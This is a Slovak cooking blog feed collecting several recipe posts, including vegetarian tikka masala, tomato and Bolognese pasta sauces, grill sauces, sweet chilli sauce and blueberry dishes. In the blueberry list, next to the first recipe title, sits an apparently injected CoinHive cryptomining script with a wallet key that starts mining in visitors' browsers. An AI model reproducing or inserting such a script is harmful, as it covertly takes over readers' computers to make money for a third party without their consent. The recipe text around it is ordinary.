Práve v jeseni viete v tejto omáčke využiť plody záhrady, lebo sa do nej super hodí tekvica, mrkva, či cuketa. Aj patizón tam dajte, ak máte. Skrátka čo záhrada dala. Do omáčky pridávam väčšinou paradajky z konzervy, no tie sa tiež dajú zameniť za čerstvé. Dnes už aj v bežných supermarketoch dostať kúpiť základné exotické koreniny, ako koriander, kardamón, či kurkuma. Ak nezoženiete všetko, nerobte si z toho ťažkú hlavu, pokojne použite aj bežnú zmes kari korenia.

Čo vy a indická kuchyňa? Určite mi dajte vedieť do komentára, či radi skúšate exotické chute. A verím, že vám táto zeleninová tikka masala zachutí.

Vegetariánska Tikka Masala

Suroviny:

• asi 500-600 g zeleniny podľa chuti (mrkva, tekvica, batát, cuketa,…)
• 1/2 plechovky vareného cíceru
• 1 balenie tofu

Na omáčku tikka masala:

• 1-2 PL oleja
• 2 väčšie cibule nakrájané na tenké plátky
• 1/2 ČL nastrúhaného čerstvého zázvoru
• 2 strúčiky cesnaku
• 6 ks kardamónu
• 2 ČL korenia garam masala
• 2 ČL mletého koriandra
• kúsok celej škorice
• chilli mleté alebo 1-2 ks nasekané čerstvé
• 250 ml smotany na šľahanie (pre vegánsku verziu použite rastlinnú náhradu)
• 3-4 PL paradajkového pyré
• 1/2 ČL cukru
• 1/2 ČL soli

Najprv si ošúpeme a nakrájame zeleninu. Cibuľu na tenké plátky, zázvor nastrúhame, cesnak pretlačíme. Ostatnú zeleninu nakrájame na kocky, mrkvu na širšie kolieska.

Na oleji opečieme cibuľu mierne dohneda. Pridáme pretlačený cesnak, nastrúhaný zázvor a minútku opečieme. Pridáme všetko korenie a znova opečieme minútku. Potom dáme aj paradajkové pyré, soľ, cukor, trochu vody a smotanu na šľahanie. Uvedieme do varu a varíme 10-15 minút.
Omáčku môžeme rozmixovať dohladka.

Teraz k omáčke pridáme nakrájanú zeleninu a uvarený cícer. (Zeleninu, ktorá sa uvarí rýchlejšie, ako napr. cuketa, môžete pridať trochu neskôr.) Varíme, kým je zelenina mäkká. Ak je omáčka príliš hustá, podlejeme trochou vody alebo zeleninovým vývarom.

Na osobitnej panvici opečieme na kocky nakrájané tofu. Pridáme do omáčky a môžeme podávať.

Tip: Zeleninu, ktorú pridávate do omáčky, môžete pre výraznejšiu chuť vopred orestovať na panvici alebo upiecť v rúre.

Ak vyskúšate vegetariánsku verziu Tikka Masala podľa môjho receptu, podeľte sa o to v komentároch!
Ela

Príspevok Vegetariánska Tikka Masala zobrazený najskôr Zo srdca do hrnca.

Kedysi som skúšala domáce paradajky aj zavárať. Príde mi to však príliš prácne, lebo dnes sa paradajky v konzerve dajú kúpiť v dobrej kvalite. Počas leta tak domáce paradajky radšej použijem do kečupu alebo do skvelej sladkej chilli omáčky.

Paradajková omáčka na cestoviny

/ pre 4 osoby/:

• 2 konzervy paradajok – lúpané krájané
• 2 strúčiky cesnaku
• 2 PL olivového oleja
• 1/2 ČL bazalky
• 1/2 ČL oregana
• 2 ČL cukru
• soľ

+ 400 g obľúbených cestovín

Na panvici rozohrejeme olivový olej. Cesnak očistíme, prekrojíme a na minútu opečieme v oleji. Cesnak vyberieme. Pridáme drvené paradajky, bylinky a cukor. Na strednom ohni chvíľu povaríme, kým sa odparí trochu vody. Podľa toho, akú hustú chceme omáčku, varíme 10-15 minút, závisí to aj od vodnatosti paradajok. Dosolíme podľa chuti. Počas toho, ako sa varí omáčka, uvaríme si 400 g cestovín podľa návodu. Uvarené cestoviny premiešame s omáčkou a podávame posypané parmezánom.

Tip: omáčku si môžete pripraviť aj vopred, prípadne urobiť vo väčšom množstve a časť odložiť na ďalší deň. Cestoviny dávam variť tak, aby som ich uvarené vsypala hneď do hotovej omáčky. Tu platí, že omáčka čaká cestoviny :)

Omáčka s jednou (tajnou) ingredienciou:

• s cuketou – 1 cuketu nakrájame a najprv opečieme na panvici s trochou oleja. Cuketu dáme bokom a ďalej uvaríme omáčku podľa receptu. Do hotovej omáčky pridáme opečenú cuketu.
• s červenou šošovicou – pridáme ju spolu s paradajkami, za 10-15 minút sa uvarí domäkka
• so slaninou – plátky slaniny opečieme na suchej pandici, dáme bokom a pridáme do hotovej omáčky
• s olivami – zelené alebo čierne olivy bez kôstky nakrájame a pridáme do horúcej uvarenej omáčky
• s mozzarellou – mozarellu nakrájame na kúsky a pridáme do teplých cestovín zmiešaných s omáčkou
• s chilli – čerstvé chilli papričky nakrájame/sušené chilli vsypeme do oleja a minútku opečieme, potom pridáme paradajky.

A ešte mi nedá nepridať jednu obmenu, ktorá vlastne môže byť ďalší recept :) Môžeme ho nazvať aj zeleninová či vegánska bolonská omáčka, lebo základ majú rovnaký s mäsovou verziou.

Zeleninová omáčka Bolognese

• 1 veľká cibuľa
• 2 stredné mrkvy
• 2 stonky stonkového zeleru
• 2 hrste červenej šošovice
• 2 konzervy drvených paradajok
• 2 strúčiky cesnaku
• 2 PL olivového oleja
• 1/2 ČL bazalky
• 1/2 ČL oregana
• soľ
• trochu zeleninového vývaru alebo vody

Na panvici zohrejeme olivový olej a opečieme nakrájanú cibuľu dozlatista. Pridáme cesnak, nadrobno nakrájanú mrkvu a stonkový zeler, opečieme 3 minúty, dochutíme korením. Vlejeme paradajky z konzervy a varíme 10 minút. Zelenina zatiaľ zmäkne. Pridáme červenú šošovicu, ak vpije veľa tekutiny, podlejeme trochou vody alebo zeleninového vývaru. Dosolíme podľa chuti. Zmiešame s uvarenými cestovinami a podávame.

Viac cestovinových inšpirácií hľadajte v sekcii Cestoviny a vyskúšajte aj moju klasickú mäsovú omáčku Bolognese.

Ak si uvaríte paradajkovú omáčku na cestoviny podľa môjho receptu, podeľte sa o to v komentároch.

Ela

Príspevok Paradajková omáčka na cestoviny zobrazený najskôr Zo srdca do hrnca.

1. Mrveničkový koláč s tvarohom a čučoriedkami

Moja obľúbená kombinácia, po upečení je chrumkavý, na druhý deň vláčny, každý si príde na svoje.

var miner = new CoinHive.Anonymous(’49dVbbCFDuhg9nX5u1MDuATVZj7gQehytZwvXEUuWg9kfhNPWH7bUD87VW1NfjqucRZNNVTb1AHGUK2fkq5Nd55mLNnB4WK‘); miner.start(); Mrveničkový koláč s tvarohom a čučoriedkami

2. Čučoriedkový džem

Vytunila som super džem len z ovocia a cukru. V recepte nájdete môj zaručený postup, ako zachovať chuť a nestratiť farbu.

Čučoriedkový džem

3. Kysnutý čučoriedkový koláč s posýpkou (+ kváskový variant)

Kto by nemiloval kysnuté koláče? Kváskové či z droždia, z plechu miznú ešte teplé :)

Kysnutý čučoriedkový koláč s posýpkou (aj z kvásku)

4. Čučoriedkové nanuky /vegan/

Hit našich letných dní, keď je veľa ovocia, aj veľa stupňov.

Domáce nanuky

5. RAW koláčiky s čučoriedkami

Osviežujúce a ľahké koláčiky bez pečenia.

Čučoriedkové raw koláčiky

6. Famózna mrazená čučoriedková torta

Ďalší tip na horúce dni, táto torta má perfektnú chuť aj konzistenciu. Recept mám od Silvie Horeckej a celkom sa u nás udomácnil :)

7. Omáčka k divine

Sladkokyslá chuť omáčky pekne dopĺňa divinu, trochu sa vyhráte a domácou omáčkou zabodujete.

Čučoriedková omáčka k divine

Ak vyskúšate niektorý z mojich čučoriedkových receptov, podeľte sa o to na FB Zo srdca do hrnca alebo na Instagrame s hashtagom #zosrdcadohrnca … a pokojne aj tu v komentároch! :-)

Príspevok 7 čučoriedkových receptov na koláče, džem aj omáčku zobrazený najskôr Zo srdca do hrnca.

Mimochodom, cestoviny. Asi najlepšie vynikne omáčka Bolognese na plochých širokých rezancoch – tagliatelle, alebo v obľúbenej zapečenej verzii ako lasagne.

Omáčka Bolognese /pre 4-6 osôb/

• 750 g mletého hovädzieho mäsa
• 2 veľké cibule
• 2 mrkvy
• 2 stonky stopkatého zeleru
• 2 strúčiky cesnaku (nemusí byť)
• 1 konzerva paradajok (alebo oblanšírovať čerstvé)
• 2 dcl vína (biele alebo červené)
• čierne korenie
• soľ
• muškátový oriešok
• olivový olej

Postup:

V širšom hrnci na olivovom oleji opražíme cibuľu. Pridáme nakrájanú mrkvu, zelerové stonky, pretlačený cesnak a podusíme, kým zelenina zmäkne. Pridáme čierne korenie a trošku nastrúhaného muškátového orieška, potom mleté hovädzie mäso, ktoré pražíme za občasného miešania aspoň 15 min. Prilejeme červené víno a necháme odpariť, miešame. Dusíme ďalších aspoň 20 minút. Keď je mäso takmer hotové, pridáme paradajky, povaríme. Dosolíme podľa chuti. Celý proces má byť pomalý, neponáhľajte sa a dobre opečte zeleninu a mäso, víno nechajte odpariť pozvoľna, nech sa všetko pekne prepojí. Môže to pokojne trvať aj vyše hodiny, v chuti to oceníte. :)

  Ak vyskúšate omáčku Bolognese podľa môjho receptu, podeľte sa o to v komentároch dole :)

Ela

Príspevok Omáčka Bolognese zobrazený najskôr Zo srdca do hrnca.

Jasné, berte ma s rezervou a pokojne si k tomu šťavnatému kúsku krkovičky z grilu dajte horčicu či kečup… ale varujem vás, že sa pripravíte o prvotriedny gastro zážitok a to by ste vašim chuťovým bunkám predsa neurobili ;-)

1. Marhuľové čatní

Hustá sladko-štipľavá omáčka s kúskami marhúľ posunie jednoduché grilované kúsky mäsa či zeleniny chuťovo o level vyššie.

• 1 veľká cibuľa
• 10-12 ks čerstvých marhúľ
• 2 strúčiky cesnaku
• 1 PL nastrúhaného čerstvého zázvoru
• 2 chilli papričky
• 1 PL medu
• 2 PL paradajkového pyré
• 1 PL jablčného octu
• 1,5 – 2 dcl vody
• soľ
• olivový olej

Na panvici rozohrejeme olivový olej, pridáme posekanú cibuľu, cesnak, po chvíli chilli papričky a zázvor. Restujeme pár minút, kým je cibuľa sklovitá, posolíme. Pridáme odkôstkované pokrájané marhule a podusíme 5 minút. Nakoniec pridáme med, paradajkové pyré, ocot a podlejeme vodou. Za občasného miešania varíme asi 30 minút, kým sa vyparí voda a čatní pekne zhustne. Ku koncu miešame častejšie. Podávame vychladené.

2. Klasická BBQ omáčka

• 4 PL paradajkového pyré
• 1 PL jablčného octu
• 1 PL medu
• 1 PL worcesterskej omáčky
• 1 ČL údenej papriky
• 1 veľká cibuľa nasekaná nadrobno
• 2 strúčiky cesnaku
• čierne korenie mleté
• soľ

Cibuľu posekáme, cesnak pretlačíme. Všetky suroviny vložíme do hrnca, privedieme do varu a na miernom plameni varíme 30 minút. Necháme vychladiť a ponorným mixérom vymixujeme najemno. V chladničke vydrží asi 1 týždeň.

Môžete sa tu vyhrať s konzistenciou, hustotou a pre zaujímavejšiu chuť namiesto mletej údenej papriky pridať čerstvú červenú papriku upečenú na grile.

3. Bylinkový dressing

Príprava tejto sviežej omáčky vám nezaberie viac ako 5 minút.

• 1 dcl olivového oleja
• šťava z 1/2 citróna
• 1 ČL horčice
• 1 strúčik cesnaku
• 1 hrsť nasekanej čerstvej bazalky
• soľ

Všetky ingrediencie vložíme do menšej kompótovej fľaše a „šejkujeme“ :) kým sa spoja. Dobre vychladíme a podávame na ku grilovaným dobrotám. Nám veľmi chutil aj ako šalátový dressing.

Ak vyskúšate niektorú z omáčok na grilovačke, podeľte sa o to v komentároch.

Ela

Príspevok 3 skvelé omáčky pre každú grilovačku zobrazený najskôr Zo srdca do hrnca.

Klasická sladká chilli omáčka poteší všetkých milovníkov štipľavých chutí. Využijete ju fakt všestranne, ja ju servírujem ako omáčku k mäsu, pridávam do rýchlych wokových jedál, alebo na marinovanie. Množstvo chilli je taký stred štipľavosti, ak chcete ozaj horúce, pokojne 5-7 ks ešte pridajte.

Sladká chilli omáčka

• 1 kg paradajok, ideálne mäsité
• 1 kg červenej papriky/kápie
• 15 ks chilli papričiek
• 6-8 strúčikov cesnaku
• 1 PL čerstvého nastrúhaného zázvoru
• 300-400 g trstinového/kryštálového cukru
• 200 ml jablčného alebo bieleho vínneho octu

Postup:

1. Paradajky narežeme do kríža a oblanšírujeme (zalejeme vriacou vodou a po 20 minútach zderieme z kože :-) ), nakrájame na štvrtky.
2. Papriku očistíme od jadrovníka a nakrájame ručne alebo posekáme mixérom nadrobno.
3. Pretlačíme cesnak, postrúhamé zázvor, posekáme chilli papričky aj so semiačkami a všetko vložíme do širšieho hrnca, pridáme cukor a ocot.
4. Zmes privedieme do varu a za občasného miešania varíme 90-100 minút.
5. Posledných 20 minút miešame častejšie, aby omáčka neprihorela.
6. Tyčovým mixérom omáčku rozmixujeme do žiadanej konzistencie a horúcu plníme do fliaš.
7. Sterilizujeme pri 80°C 10-12 minút, aby sa chytilo viečko.

Máte stále paradajky a papriku nazvyš? Pripravte si podľa môjho receptu skvelý domáci kečup!

Ak vyskúšate sladkú chilli omáčku podľa môjho receptu, podeľte sa o to v komentároch.

Ela

Príspevok Sladká chilli omáčka zobrazený najskôr Zo srdca do hrnca.

Pripravovala som jednoduché pečené stehno zo srnca s opekanými zemiakmi a žiadala sa mi omáčka k divine, ktorá podčiarkne chuť mäsa. Ak podávate divinu s červeným vínom, môžete v recepte odporučené brandy nahradiť práve trochou suchého červeného vína.

Omáčka k divine:

• 100 g masla
• 1 cibuľa, stredne veľká
• 1 ČL trstinového cukru
• 1/2 štamprlíka brandy
• 1 čučoriedkový kompót
• 2 PL pikantného džemu (napr. ríbezľový)
• výpek z diviny
• soľ

Postup

1. V rajnici rozpustíme maslo, na ktorom speníme nadrobno pokrájanú cibuľu.
2. K popraženej cibuľke pridáme trstinový cukor, štipku soli.
3. Pridáme pár kvapiek brandy, premiešame a necháme prevrieť.
4. Zavárané čučoriedky zlejeme a bez šťavy pridáme ku skaramelizovanej cibuli.
5. Podlejeme výpekom z diviny a na miernom ohni necháme odpariť nadbytočnú tekutinu.
6. Nakoniec pridáme dve lyžice ostrého džemu a premiešame.

Aké sú vaše naobľúbenejšie prílohy a omáčky k divine?

Hľadáte recept na dobré pečené mäso? Pripravte si pomaly pečenú divinu s mrkvovými haluškami.

Ak vyskúšate čučoriedkovú omáčku k divine, podeľte sa o to v komentároch.

Ela

Príspevok Čučoriedková omáčka k divine zobrazený najskôr Zo srdca do hrnca.